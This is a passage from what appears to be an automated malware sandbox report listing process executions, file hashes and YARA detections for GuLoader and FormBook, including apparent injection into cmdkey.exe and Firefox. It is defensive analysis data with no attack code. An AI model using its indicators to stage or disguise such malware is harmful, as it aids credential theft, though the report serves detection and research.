00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.136219856391.000000000258E000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	01:57:41
Start date:	27/08/2024
Path:	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe"
Imagebase:	0x550000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	01:57:42
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\cmdkey.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmdkey.exe"
Imagebase:	0xad0000
File size:	17'408 bytes
MD5 hash:	6CDC8E5DF04752235D5B4432EACC81A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	01:57:55
Start date:	27/08/2024
Path:	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe"
Imagebase:	0x550000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	01:58:09
Start date:	27/08/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff7a7970000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true